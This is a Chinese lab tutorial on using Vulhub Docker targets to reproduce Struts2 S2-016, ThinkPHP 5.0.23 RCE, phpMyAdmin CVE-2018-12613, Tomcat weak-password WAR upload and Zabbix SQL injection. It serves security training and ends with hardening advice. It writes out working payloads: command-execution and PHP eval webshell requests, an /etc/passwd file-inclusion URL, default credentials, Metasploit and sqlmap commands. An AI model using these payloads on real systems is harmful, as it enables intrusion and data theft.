小白之vulhub靶机之旅--第一篇
字数 1131 2025-08-18 11:39:30
Vulhub靶机环境搭建与漏洞复现教学文档
一、环境准备
1.1 Docker环境搭建
Vulhub靶机依赖Docker环境运行,以下是Docker环境配置步骤:
-
安装Docker(以Ubuntu系统为例):
sudo apt-get update sudo apt-get install docker.io -
启动Docker服务:
sudo /etc/init.d/docker start -
检查Docker状态:
sudo /etc/init.d/docker status
1.2 Vulhub靶机下载
git clone https://github.com/vulhub/vulhub.git
cd vulhub
二、漏洞复现实战
2.1 Struts2远程代码执行漏洞(S2-016)
影响版本:Struts 2.0.0 - Struts 2.3.15
复现步骤:
-
进入漏洞目录:
cd struts2/s2-016 -
启动环境:
docker-compose up -d -
访问测试页面:
http://localhost:8080/index.action -
漏洞验证:
- 远程执行命令:
http://localhost:8080/index.action?redirect:%25{3*4} - 上传JSP脚本:
通过构造特殊请求上传Webshell
- 远程执行命令:
-
停止环境:
docker-compose down
2.2 ThinkPHP 5.0.23远程代码执行漏洞
漏洞原理:未正确处理控制器名,导致可以执行任意方法
复现步骤:
-
进入漏洞目录:
cd thinkphp/5.0.23-rce -
启动环境:
docker-compose up -d -
访问测试页面:
http://localhost:8080 -
漏洞利用:
- 通过POST请求执行命令:
POST /index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id - 写入一句话木马:
POST /index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_POST['cmd']);?>
- 通过POST请求执行命令:
2.3 phpMyAdmin任意文件包含漏洞(CVE-2018-12613)
漏洞原理:Index.php中对文件包含参数过滤不严
复现步骤:
-
进入漏洞目录:
cd phpmyadmin/CVE-2018-12613 -
启动环境:
docker-compose up -d -
漏洞利用:
http://localhost:8080/index.php?target=db_datadict.php%253f/etc/passwd- %253f是?的二次URL编码
- 可读取服务器任意文件
2.4 Tomcat8弱口令后台GetShell
复现步骤:
-
进入漏洞目录:
cd tomcat/tomcat8 -
启动环境:
docker-compose up -d -
访问管理后台:
http://localhost:8080/manager/html默认凭证:tomcat:tomcat
-
上传WAR包GetShell:
- 制作WAR包:
jar cvf shell.war shell.jsp - 通过管理界面上传WAR包
- 自动部署后访问:
http://localhost:8080/shell/shell.jsp
- 制作WAR包:
-
使用MSF自动化利用:
use exploit/multi/http/tomcat_mgr_upload set RHOSTS localhost set RPORT 8080 set HttpUsername tomcat set HttpPassword tomcat exploit
2.5 Zabbix SQL注入漏洞(CVE-2016-10134)
复现步骤:
-
进入漏洞目录:
cd zabbix/CVE-2016-10134 -
启动环境:
docker-compose up -d -
漏洞验证:
http://localhost/jsrpc.php?type=9&method=screen.get×tamp=1471403798083&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=1+or+updatexml(1,md5(0x11),1)+or+1=1)%23&updateProfile=true&period=3600&stime=20160817050632&resourcetype=17 -
使用sqlmap自动化测试:
sqlmap -u "http://localhost/jsrpc.php?type=9&method=screen.get&profileIdx=web.item.graph" --data="profileIdx2=1" --level=5 --risk=3
三、安全建议
-
Struts2:
- 及时升级到最新版本
- 禁用动态方法调用
-
ThinkPHP:
- 开启强制路由
- 升级到安全版本
-
phpMyAdmin:
- 限制访问IP
- 使用最新版本
-
Tomcat:
- 修改默认凭证
- 禁用manager应用或限制访问
-
Zabbix:
- 应用官方补丁
- 加强数据库权限控制
四、注意事项
- 本教学仅用于合法授权的安全测试
- 测试完成后及时关闭环境:
docker-compose down - 建议在虚拟机或隔离环境中进行测试
- 禁止用于非法渗透测试活动
五、扩展学习
-
漏洞原理深度分析:
- 阅读官方漏洞公告
- 分析漏洞修复补丁
-
代码审计技巧:
- 学习PHP/Java安全编码规范
- 掌握常见漏洞模式
-
自动化工具开发:
- 编写PoC验证脚本
- 开发漏洞扫描插件
-
防御措施研究:
- WAF规则编写
- RASP防护方案
通过本教学文档,您可以系统性地学习常见Web漏洞的复现方法和原理,建议结合Vulhub官方文档和漏洞公告进行深入学习。